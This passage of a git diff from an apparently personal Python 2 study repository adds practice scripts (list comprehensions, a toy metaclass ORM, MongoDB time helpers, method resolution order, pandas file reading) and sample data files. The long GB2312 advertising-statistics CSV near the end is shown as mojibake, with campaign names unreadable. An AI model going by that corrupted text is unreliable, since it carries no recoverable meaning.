ip_start > ip_end or (ip_end - ip_start) < 2: + print('error') + print('-'*20) + + +if __name__ == '__main__': + allocation_pools_f = [{'start': '192.168.0.1', 'end': '192.168.0.2'}] + allocation_pools_t = [{'start': '192.168.0.1', 'end': '192.168.0.20'}] + check_allocation_pools(allocation_pools_f) + check_allocation_pools(allocation_pools_t) diff --git a/test/test_list_comprehension.py b/test/test_list_comprehension.py new file mode 100644 index 0000000..bd5cef7 --- /dev/null +++ b/test/test_list_comprehension.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_list_comprehension.py +@time: 2017/7/25 下午5:37 +""" + + +def run(): + """ + 列表解析 + {'a': 1, 'c': 3, 'b': 2, 'e': 5, 'd': 4} + [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] + [] + [1, 3, 2, 5, 4] # 字典无序 + [1, 2, 3, 4, 5] + {0: 0, 1: 1, 2: 4, 3: 9, 4: 16, 5: 25, 6: 36, 7: 49, 8: 64, 9: 81} + [[0, 0], [1, 1], [2, 4], [3, 9], [4, 16], [5, 25], [6, 36], [7, 49], [8, 64], [9, 81]] + :return: + """ + A0 = dict(zip(('a', 'b', 'c', 'd', 'e'), (1, 2, 3, 4, 5))) + A1 = range(10) + A2 = [i for i in A1 if i in A0] + A3 = [A0[s] for s in A0] + A4 = [i for i in A1 if i in A3] + A5 = {i: i * i for i in A1} + A6 = [[i, i * i] for i in A1] + + print A0 + print A1 + print A2 + print A3 + print A4 + print A5 + print A6 + + +if __name__ == '__main__': + run() + pass diff --git a/test/test_metaclass.py b/test/test_metaclass.py new file mode 100644 index 0000000..27cef1f --- /dev/null +++ b/test/test_metaclass.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_metaclass.py +@time: 2017/10/26 下午3:49 +@desc: 通过编写自定义 ORM 框架, 学习元类 +@link: https://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001386820064557c69858840b4c48d2b8411bc2ea9099ba000 +""" + + +class Field(object): + def __init__(self, name, column_type): + self.name = name + self.column_type = column_type + + def __str__(self): + return '<%s:%s>' % (self.__class__.__name__, self.name) + + +class StringField(Field): + def __init__(self, name): + super(StringField, self).__init__(name, 'varchar(100)') + + +class IntegerField(Field): + def __init__(self, name): + super(IntegerField, self).__init__(name, 'bigint') + + +class ModelMetaclass(type): + def __new__(cls, name, bases, attrs): + """ + :param cls: 当前准备创建的类的对象(非实例) + :param name: 类的名称 + :param bases: 继承的父类集合 + :param attrs: 类的方法集合 + :return: + """ + print('cls: %s' % cls) + print('name: %r\nbases: %r\nattrs: %r' % (name, bases, attrs)) + + for base in bases: + print('base.__dict__: %r' % base.__dict__) + print('base.__dict__.keys(): %r' % base.__dict__.keys()) + + # 排除掉对 Model 类的修改 + if name == 'Model': + return type.__new__(cls, name, bases, attrs) # 创建类 + # 核心部分: + # 1、动态收集所需类型属性: attrs 中所有 Field 类型的属性 + # 2、动态创建所需类型属性: __table__, __mappings__ + # 3、其它属性和方法保持不变 + mappings = dict() + for k, v in attrs.iteritems(): + if isinstance(v, Field): + print('Found mapping: %s==>%s' % (k, v)) + mappings[k] = v + # 除掉类的所有类属性(避免实例的属性缺失, 意外调用类的属性; 实例属性优先级比类属性高,默认调用实例属性) + for k in mappings.iterkeys(): + attrs.pop(k) + attrs['__table__'] = name.lower() # 假设表名和类名一致 + attrs['__mappings__'] = mappings # 保存属性和列的映射关系 + return type.__new__(cls, name, bases, attrs) # 创建修改后的类 + + +class Model(dict): + # 指示使用 ModelMetaclass 来定制类, 通过 ModelMetaclass.__new__() 动态创建类 + # 因为只有使用者才能根据表的结构定义出对应的类来, 所有的类都只能动态定义 + __metaclass__ = ModelMetaclass + + def __init__(self, **kw): + super(Model, self).__init__(**kw) + + def __getattr__(self, key): + try: + return self[key] + except KeyError: + raise AttributeError(r"'Model' object has no attribute '%s'" % key) + + def __setattr__(self, key, value): + self[key] = value + + def save(self): + fields = [] + params = [] + args = [] + for k, v in self.__mappings__.iteritems(): + fields.append(v.name) + params.append('?') + args.append(getattr(self, k, None)) + sql = 'insert into %s (%s) values (%s)' % (self.__table__, ','.join(fields), ','.join(params)) + print('SQL: %s' % sql) + print('ARGS: %s' % str(args)) + + def delete(self): + pass + + def find(self): + pass + + +def run(): + """ + 测试创建用户类 + :return: + """ + class User(Model): + """ + User Class + Python解释器首先在当前类User的定义中查找 __metaclass__,如果没有找到,就继续在父类Model中查找__metaclass__ + """ + id = IntegerField('id') + name = StringField('username') + email = StringField('email') + password = StringField('password') + + print('User.__dict__: %s' % User.__dict__) + u = User(id=12345, name='Michael', email='test@orm.org', password='my-pwd') + u.save() + + +if __name__ == '__main__': + run() + +""" +类就是一组用来描述如何生成一个对象的代码段 + +type(类名, 父类的元组(针对继承的情况,可以为空),包含属性的字典(名称和值)) + +这里,type 有一种完全不同的能力,它也能动态的创建类。 +type 可以接受一个类的描述作为参数,然后返回一个类。 +根据传入参数的不同,同一个函数拥有两种完全不同的用法是一件很傻的事情,但这在Python中是为了保持向后兼容性 + +元类的本质 +1) 拦截类的创建 +2) 修改类 +3) 返回修改之后的类 + +“元类就是深度的魔法,99%的用户应该根本不必为此操心。 +如果你想搞清楚究竟是否需要用到元类,那么你就不需要它。 +那些实际用到元类的人都非常清楚地知道他们需要做什么,而且根本不需要解释为什么要用元类。” + —— Python界的领袖 Tim Peters +""" diff --git a/test/test_mongo.py b/test/test_mongo.py index 7fb91c8..b347a7b 100644 --- a/test/test_mongo.py +++ b/test/test_mongo.py @@ -6,6 +6,46 @@ sys.path.append('..') from tools.mongo import Mongodb +import time +import calendar +from datetime import datetime, timedelta, date + + +def time_local_to_utc(local_time): + """ + 本地时间转UTC时间 + :param local_time: + :return: + """ + # 字符串处理 + if isinstance(local_time, str) and len(local_time) == 10: + local_time = datetime.strptime(local_time, '%Y-%m-%d') + elif isinstance(local_time, str) and len(local_time) >= 19: + local_time = datetime.strptime(local_time[:19], '%Y-%m-%d %H:%M:%S') + elif not (isinstance(local_time, datetime) or isinstance(local_time, date)): + local_time = datetime.now() + # 时间转换 + utc_time = local_time + timedelta(seconds=time.timezone) + return utc_time + + +def time_utc_to_local(utc_time): + """ + UTC时间转本地时间 + :param utc_time: + :return: + """ + # 字符串处理 + if isinstance(utc_time, str) and len(utc_time) == 10: + utc_time = datetime.strptime(utc_time, '%Y-%m-%d') + elif isinstance(utc_time, str) and len(utc_time) >= 19: + utc_time = datetime.strptime(utc_time[:19], '%Y-%m-%d %H:%M:%S') + elif not (isinstance(utc_time, datetime) or isinstance(utc_time, date)): + utc_time = datetime.utcnow() + # 时间转换 + local_time = utc_time - timedelta(seconds=time.timezone) + return local_time + db_config = { 'host': 'localhost', @@ -68,8 +108,28 @@ def test(): print e +def test_02(): + table_name = 'user' + conn = Mongodb(db_config) + print conn.db + print conn.find_one(table_name) + test_doc = { + '_id': 1, + 'id': 1, + 'name': 'admin', + 'create_time': datetime.strptime('2017-07-07 08:00:00', '%Y-%m-%d %H:%M:%S'), + 'create_time_utc': time_local_to_utc('2017-07-07 08:00:00'), + 'create_time_str': '2017-07-07 08:00:00' + } + print conn.remove(table_name) # 清空记录 + print conn.insert(table_name, test_doc) # 插入记录 + print conn.find_one(table_name) + conn.output_rows(table_name) + + if __name__ == '__main__': - test() + # test() + test_02() """ diff --git a/test/test_oop.py b/test/test_oop.py new file mode 100644 index 0000000..55da6ee --- /dev/null +++ b/test/test_oop.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_oop.py +@time: 2017/7/25 下午6:10 +""" + + +class A(object): + def go(self): + print "go A go!" + + def stop(self): + print "stop A stop!" + + def pause(self): + raise Exception("Not Implemented") + + +class B(A): + def go(self): + super(B, self).go() + print "go B go!" + + +class C(A): + def go(self): + super(C, self).go() + print "go C go!" + + def stop(self): + super(C, self).stop() + print "stop C stop!" + + +class D(B, C): + def go(self): + super(D, self).go() + print "go D go!" + + def stop(self): + super(D, self).stop() + print "stop D stop!" + + def pause(self): + print "wait D wait!" + + +class E(B, C): + pass + + +a = A() +b = B() +c = C() +d = D() +e = E() + +# 说明下列代码的输出结果 + +a.go() +b.go() +c.go() +d.go() +e.go() + +a.stop() +b.stop() +c.stop() +d.stop() +e.stop() + +a.pause() +b.pause() +c.pause() +d.pause() +e.pause() + + +if __name__ == '__main__': + pass diff --git a/test/test_pandas.csv b/test/test_pandas.csv new file mode 100644 index 0000000..ef91bb0 --- /dev/null +++ b/test/test_pandas.csv @@ -0,0 +1,6 @@ +平台,分数,标记 +天猫,98,A +京东,87,B +苏宁,76,C +国美,65,D +淘宝,54,E diff --git a/test/test_pandas.py b/test/test_pandas.py new file mode 100644 index 0000000..1f649cc --- /dev/null +++ b/test/test_pandas.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_pandas.py +@time: 2017/2/27 下午3:21 +""" + + +from pandas import Series, DataFrame +import pandas as pd +import json + + +def test_csv(): + file_path = 'test_pandas.csv' + df = pd.read_csv(file_path) + print df.keys() + print df.values + print df.add_prefix('a') + print df.add_suffix('c') + print df.index + print df.dtypes + print df.rename(columns=['网站', '权重', '类型']) + + +def test_excel(): + file_path = 'test_pandas.xls' + df = pd.read_excel(file_path, sheetname='Sheet1') # sheet_name=str(0) + print df + + with pd.ExcelWriter('newxls.xls') as writer: + df.to_excel(writer, sheet_name=str(0)) + + +def test_csv_encode(): + """ + 测试csv读取,设置编码,并跳过头部 + :return: + """ + file_path = 'test_pandas_gb2312.csv' + df = pd.read_csv(file_path, encoding='gb2312', skiprows=8, error_bad_lines=False) + print df.keys() + print df + + +def test_read_sem_excel(): + file_path = 'SEM.xls' + df = pd.read_excel(file_path, sheetname='sem') # sheet_name=str(0) + # [u'sem_site', u'sem_plan', u'sem_unit', u'sc_site', u'sc_site_name', u'cate_id', u'cate_name', u'city_id', u'city_name', u'sc_plat', u'sc_plat_name'] + print list(df.keys()) + # print df.to_dict() + sem_map = {} + for i in df.values: + sem_map[(i[0], i[1], i[2])] = { + 'sc_site': i[3], + 'sc_site_name': i[4], + 'cate_id': i[5], + 'cate_name': i[6], + 'city_id': i[7], + 'city_name': i[8], + 'sc_plat': i[9], + 'sc_plat_name': i[10], + } + # print json.dumps(sem_map, indent=4, ensure_ascii=False) + print sem_map + return sem_map + + +def test_read_area_code_excel(): + file_path = '全球区号.xlsx' + df = pd.read_excel(file_path, sheetname='code') # sheet_name=str(0) + print list(df.keys()) + # print df.to_dict() + # sem_map = {} + for i in df.values: + code_dict = { + 'id': i[0], + 'name_c': i[1], + 'area_code': i[2], + 'phone_pre': '+00%s' % i[2], + 'country_area': i[3], + 'short_code': i[4], + 'name_e': i[5] + } + print json.dumps(code_dict, indent=4, ensure_ascii=False)+',' + # print sem_map + + +def test_read_area_code_map_excel(): + file_path = '全球区号.xlsx' + df = pd.read_excel(file_path, sheetname='code') # sheet_name=str(0) + print list(df.keys()) + # print df.to_dict() + # sem_map = {} + for i in df.values: + print '%s: \'%s\', # [%s]%s(%s) %s' % (i[0], i[2], i[4], i[1], i[5], i[3]) + + +if __name__ == '__main__': + # test_csv() + # test_excel() + # test_csv_encode() + # test_read_sem_excel() + # test_read_area_code_excel() + test_read_area_code_map_excel() + + +""" +pip install pandas +# 操作excel +pip install xlrd +""" + diff --git a/test/test_pandas.xls b/test/test_pandas.xls new file mode 100755 index 0000000..914a86e Binary files /dev/null and b/test/test_pandas.xls differ diff --git a/test/test_pandas_gb2312.csv b/test/test_pandas_gb2312.csv new file mode 100644 index 0000000..60c02df --- /dev/null +++ b/test/test_pandas_gb2312.csv @@ -0,0 +1,1419 @@ +ʱ䣺2017-02-27 17:24 + +1. ʱ䷶Χ20170226 +2. ʱ䵥λ +3. ƹ豸ƶ豸 +4. Ͷ磺ȫ +5. Ͷϣȫ + +,ƹ㵥Ԫ,ƹƻ,չ,,,,ƽ۸,ҳת,ת,绰ת +"2017-02-26","ٰ","Ϻ",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յϴ","Ϻ",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","̺ϴ","Ϻ",91,2,6.68,2.20%,3.34,0,0,0 +"2017-02-26","Ҿά","Ϻ",91,3,3.73,3.30%,1.24,0,0,0 +"2017-02-26","˾","Ϻ",34,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","8Ʒ","Ϻ",17,15,24.16,88.24%,1.61,0,0,0 +"2017-02-26","Ҿ߻","Ϻ",150,25,46.33,16.67%,1.85,3,0,0 +"2017-02-26","ֻ","Ϻ",29,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ի","Ϻ",147,8,29.43,5.44%,3.68,1,0,0 +"2017-02-26","ٽ","Ϻ",71,4,5.80,5.63%,1.45,1,0,0 +"2017-02-26","","Ϻ",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻ","Ϻ",269,21,47.45,7.81%,2.26,2,0,0 +"2017-02-26","-","Ϻ",33,2,9.66,6.06%,4.83,0,0,0 +"2017-02-26","ӻ","Ϻ",23,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","װñ","Ϻ",68,5,11.20,7.35%,2.24,1,0,0 +"2017-02-26","Ҿ߻-","Ϻ",27,1,0.30,3.70%,0.30,0,0,0 +"2017-02-26","Ի-","Ϻ",31,1,2.90,3.23%,2.90,0,0,0 +"2017-02-26","յ-","Ϻ",5,1,2.21,20.00%,2.21,0,0,0 +"2017-02-26","ǩ֤","Ϻ",308,6,8.44,1.95%,1.41,0,0,0 +"2017-02-26","˾ңҪ","Ϻ",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾ңѯۣ","Ϻ",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ƴģҪ","Ϻ",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ƴģ˾","Ϻ",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ƴģģ","Ϻ",3,1,0.30,33.33%,0.30,0,0,0 +"2017-02-26","˷ѯۣ","Ϻ",62,3,5.96,4.84%,1.99,0,0,0 +"2017-02-26",";Ұˣ˾","Ϻ",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26",";Ұˣģ","Ϻ",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","繤ѯۣ","Ϻ",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","繤ҵʣ","Ϻ",431,11,21.86,2.55%,1.99,0,0,0 +"2017-02-26","˷񣨺ģ","Ϻ",692,64,172.04,9.25%,2.69,9,0,0 +"2017-02-26","˷񣨵绰","Ϻ",40,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˷񣨶","Ϻ",77,3,6.88,3.90%,2.29,0,0,0 +"2017-02-26","ģأ˾","Ϻ",176,4,7.66,2.27%,1.92,0,0,0 +"2017-02-26","ģأ","Ϻ",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ģأģ","Ϻ",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨѯۣ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣװάޣ","PC",114,1,2.96,0.88%,2.96,1,0,0 +"2017-02-26","繤ҵʣ","PC",207,2,3.23,0.97%,1.61,2,0,0 +"2017-02-26","8ƷPC","PC",5,1,1.73,20.00%,1.73,0,0,0 +"2017-02-26","˷ѯۣ","PC",29,3,6.01,10.34%,2.00,0,0,0 +"2017-02-26","άޣѯۣ","PC",7,1,1.66,14.29%,1.66,0,0,0 +"2017-02-26","άޣģ","PC",86,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣѯۣ","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣѯۣ","PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣ绰","PC",31,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣģ","PC",101,1,2.30,0.99%,2.30,0,0,0 +"2017-02-26","άޣ绰","PC",21,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","̻άޣν","PC",64,2,5.55,3.12%,2.77,0,0,0 +"2017-02-26","̻άޣ绰","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣѯۣ","PC",3,1,0.96,33.33%,0.96,0,0,0 +"2017-02-26","Ӱҵάޣ绰","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣģ","PC",79,2,2.97,2.53%,1.49,0,0,0 +"2017-02-26","άޣģ","PC",22,1,2.32,4.55%,2.32,0,0,0 +"2017-02-26","ǩ֤","PC",125,5,6.69,4.00%,1.34,0,0,0 +"2017-02-26","ܵͨҵʣ","PC",53,1,2.36,1.89%,2.36,0,0,0 +"2017-02-26","յάޣҵʣ","PC",216,6,18.96,2.78%,3.16,0,0,0 +"2017-02-26","ģ","PC",20,1,2.40,5.00%,2.40,0,0,0 +"2017-02-26","ݻָѯۣ","PC",21,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","PC",107,7,19.45,6.54%,2.78,2,0,0 +"2017-02-26","ѯۣ","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յάޣѯۣ","PC",75,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָ˾","PC",20,1,1.71,5.00%,1.71,0,0,0 +"2017-02-26","ݻָҵʣ","PC",233,1,1.37,0.43%,1.37,0,0,0 +"2017-02-26","ݻָģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ģأ˾","PC",135,7,14.60,5.19%,2.09,0,0,0 +"2017-02-26","˷񣨺ģ","PC",690,33,52.49,4.78%,1.59,5,0,0 +"2017-02-26","˷񣨵绰","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˷񣨶","PC",30,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤˾","PC",8,1,2.62,12.50%,2.62,0,0,0 +"2017-02-26","㻤ģ","PC",52,3,4.65,5.77%,1.55,0,0,0 +"2017-02-26","㻤ѯۣ","PC",16,3,3.49,18.75%,1.16,0,0,0 +"2017-02-26","ɩ˾","PC",89,1,2.74,1.12%,2.74,0,0,0 +"2017-02-26","ѯۣ","PC",13,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","PC",228,1,1.49,0.44%,1.49,0,0,0 +"2017-02-26","ȩҵʣ","PC",92,2,5.12,2.17%,2.56,0,0,0 +"2017-02-26","ȩ˾","PC",36,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩѯۣ","PC",20,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ϴ»άޣѯۣ","PC",8,1,2.56,12.50%,2.56,0,0,0 +"2017-02-26","ϴ»άޣģ","PC",53,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յάޣ绰","PC",1,1,2.01,100.00%,2.01,0,0,0 +"2017-02-26","ıࣨѯۣ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨģ","PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣ绰","PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣװάޣ","PC",123,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","繤ҵʣ","PC",181,1,1.85,0.55%,1.85,0,0,0 +"2017-02-26","8ƷPC","PC",5,1,1.73,20.00%,1.73,0,0,0 +"2017-02-26","˷ѯۣ","PC",50,3,8.07,6.00%,2.69,0,0,0 +"2017-02-26","Ӱҵάޣģ","PC",27,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣѯۣ","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣģ","PC",117,2,2.97,1.71%,1.49,0,0,0 +"2017-02-26","άޣģ","PC",10,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣ绰","PC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","̻άޣν","PC",37,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣѯۣ","PC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","̻άޣ绰","PC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣ绰","PC",13,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣ绰","PC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣѯۣ","PC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣģ","PC",58,1,1.34,1.72%,1.34,0,0,0 +"2017-02-26","ǩ֤","PC",63,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ܵͨҵʣ","PC",35,1,0.70,2.86%,0.70,0,0,0 +"2017-02-26","ܵͨ绰","PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָҵʣ","PC",227,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յάޣҵʣ","PC",125,4,9.43,3.20%,2.36,0,0,0 +"2017-02-26","ѯۣ","PC",8,1,1.24,12.50%,1.24,0,0,0 +"2017-02-26","ҵʣ","PC",75,5,12.37,6.67%,2.47,0,0,0 +"2017-02-26","ģ","PC",7,1,1.93,14.29%,1.93,0,0,0 +"2017-02-26","ݻָ˾","PC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յάޣѯۣ","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָѯۣ","PC",30,1,1.61,3.33%,1.61,0,0,0 +"2017-02-26","ģأ˾","PC",189,7,7.15,3.70%,1.02,0,0,0 +"2017-02-26","˷񣨵绰","PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˷񣨶","PC",3,1,1.79,33.33%,1.79,1,0,0 +"2017-02-26","˷񣨺ģ","PC",133,12,29.39,9.02%,2.45,1,0,0 +"2017-02-26","㻤ѯۣ","PC",45,6,6.33,13.33%,1.05,0,0,0 +"2017-02-26","㻤ģ","PC",39,2,3.32,5.13%,1.66,0,0,0 +"2017-02-26","̻άޣѯۣ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","PC",112,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯۣ","PC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩҵʣ","PC",151,2,6.45,1.32%,3.23,0,0,0 +"2017-02-26","ȩѯۣ","PC",10,1,2.01,10.00%,2.01,0,0,0 +"2017-02-26","ȩģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩ˾","PC",25,1,1.97,4.00%,1.97,0,0,0 +"2017-02-26","ϴ»άޣѯۣ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ϴ»άޣ绰","PC",7,1,3.93,14.29%,3.93,0,0,0 +"2017-02-26","ϴ»άޣģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ϴ»άޣģ","PC",50,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յάޣ绰","PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","8Ʒ","Ϻ-ƶ",51,29,34.73,56.86%,1.20,1,0,0 +"2017-02-26","ֻ","Ϻ-ƶ",387,20,64.96,5.17%,3.25,2,0,0 +"2017-02-26","Ҿ߻","Ϻ-ƶ",358,21,63.96,5.87%,3.05,2,0,0 +"2017-02-26","ά","Ϻ-ƶ",532,30,76.45,5.64%,2.55,3,0,0 +"2017-02-26","","Ϻ-ƶ",256,8,10.40,3.12%,1.30,0,0,0 +"2017-02-26","˰","Ϻ-ƶ",39,2,5.14,5.13%,2.57,0,0,0 +"2017-02-26","̺ϴ","Ϻ-ƶ",138,1,1.26,0.72%,1.26,0,0,0 +"2017-02-26","˾","Ϻ-ƶ",61,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","Ϻ-ƶ",145,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ӡˢ","Ϻ-ƶ",410,1,1.63,0.24%,1.63,0,0,0 +"2017-02-26","鳵","Ϻ-ƶ",35,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ٰ","Ϻ-ƶ",109,8,29.15,7.34%,3.64,2,0,0 +"2017-02-26","ٽ","Ϻ-ƶ",1033,17,40.59,1.65%,2.39,1,0,0 +"2017-02-26","","Ϻ-ƶ",177,2,4.98,1.13%,2.49,0,0,0 +"2017-02-26","Ի-","Ϻ-ƶ",282,31,98.58,10.99%,3.18,4,0,0 +"2017-02-26","-","Ϻ-ƶ",100,2,3.20,2.00%,1.60,0,0,0 +"2017-02-26","װñ","Ϻ-ƶ",1104,30,85.87,2.72%,2.86,3,0,0 +"2017-02-26","ӻ","Ϻ-ƶ",337,9,26.24,2.67%,2.92,0,0,0 +"2017-02-26","ά-ѯ","Ϻ-ƶ",20,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","յ-","Ϻ-ƶ",73,8,18.17,10.96%,2.27,1,0,0 +"2017-02-26","ǩ֤","Ϻ-ƶ",1879,26,25.26,1.38%,0.97,0,0,0 +"2017-02-26","˾ңҪ","Ϻ-ƶ",65,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ɩѯۣ","Ϻ-ƶ",517,32,22.09,6.19%,0.69,0,0,0 +"2017-02-26","ɩվ","Ϻ-ƶ",27,3,2.90,11.11%,0.97,0,0,0 +"2017-02-26","ƴģ","Ϻ-ƶ",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӥʦ˾","Ϻ-ƶ",129,3,7.19,2.33%,2.40,0,0,0 +"2017-02-26","ɩ˾","Ϻ-ƶ",43,1,0.93,2.33%,0.93,0,0,0 +"2017-02-26","Ӥʦѯۣ","Ϻ-ƶ",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӥʦ","Ϻ-ƶ",58,2,12.71,3.45%,6.36,1,0,0 +"2017-02-26","ƴģ˾","Ϻ-ƶ",161,1,2.48,0.62%,2.48,0,0,0 +"2017-02-26","ƴģģ","Ϻ-ƶ",137,3,4.47,2.19%,1.49,0,0,0 +"2017-02-26","ƴģҪ","Ϻ-ƶ",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ƴģѯۣ","Ϻ-ƶ",148,5,6.57,3.38%,1.31,0,0,0 +"2017-02-26","ɩģ","Ϻ-ƶ",18,2,1.88,11.11%,0.94,0,0,0 +"2017-02-26",";Ұˣ˾","Ϻ-ƶ",13,2,8.62,15.38%,4.31,1,0,0 +"2017-02-26",";Ұˣģ","Ϻ-ƶ",55,4,22.29,7.27%,5.57,1,0,0 +"2017-02-26","繤ѯۣ","Ϻ-ƶ",11,2,3.04,18.18%,1.52,0,0,0 +"2017-02-26","繤ҵʣ","Ϻ-ƶ",632,44,103.54,6.96%,2.35,6,0,0 +"2017-02-26","ģأģ","Ϻ-ƶ",44,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ģأ˾","Ϻ-ƶ",947,9,12.47,0.95%,1.39,0,0,0 +"2017-02-26","ģأ","Ϻ-ƶ",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","PC",4067,42,34.35,1.03%,0.82,4,0,0 +"2017-02-26","-","PC",606,5,5.31,0.83%,1.06,1,0,0 +"2017-02-26","-","M",950,49,46.41,5.16%,0.95,11,0,0 +"2017-02-26","","M",9333,834,912.61,8.94%,1.09,62,0,0 +"2017-02-26","ҵʣ","ӾѵM",162,4,3.60,2.47%,0.90,1,0,0 +"2017-02-26","ҵʣѵ","ӾѵM",401,20,23.38,4.99%,1.17,0,0,0 +"2017-02-26","ҵʣ","ӾѵM",22,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ-","ӾѵM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣѵࣩ","ӾѵM",365,11,15.38,3.01%,1.40,0,0,0 +"2017-02-26","ʴʣģ","ӾѵM",15,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","ӾѵM",10,1,0.75,10.00%,0.75,0,0,0 +"2017-02-26","ҵʣʦ","ӾѵPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","ӾѵPC",81,1,0.30,1.23%,0.30,0,0,0 +"2017-02-26","ҵʣ","ӾѵPC",15,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣѵ","ӾѵPC",109,2,4.17,1.83%,2.08,0,0,0 +"2017-02-26","ҵʣѵࣩ","ӾѵPC",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯ","ӾѵPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","ӾѵPC",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","M",167,15,7.42,8.98%,0.49,1,0,0 +"2017-02-26","ҵʣν2","M",261,12,5.73,4.60%,0.48,1,0,0 +"2017-02-26","ҵʣβ","M",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣν1","M",749,47,20.32,6.28%,0.43,2,0,0 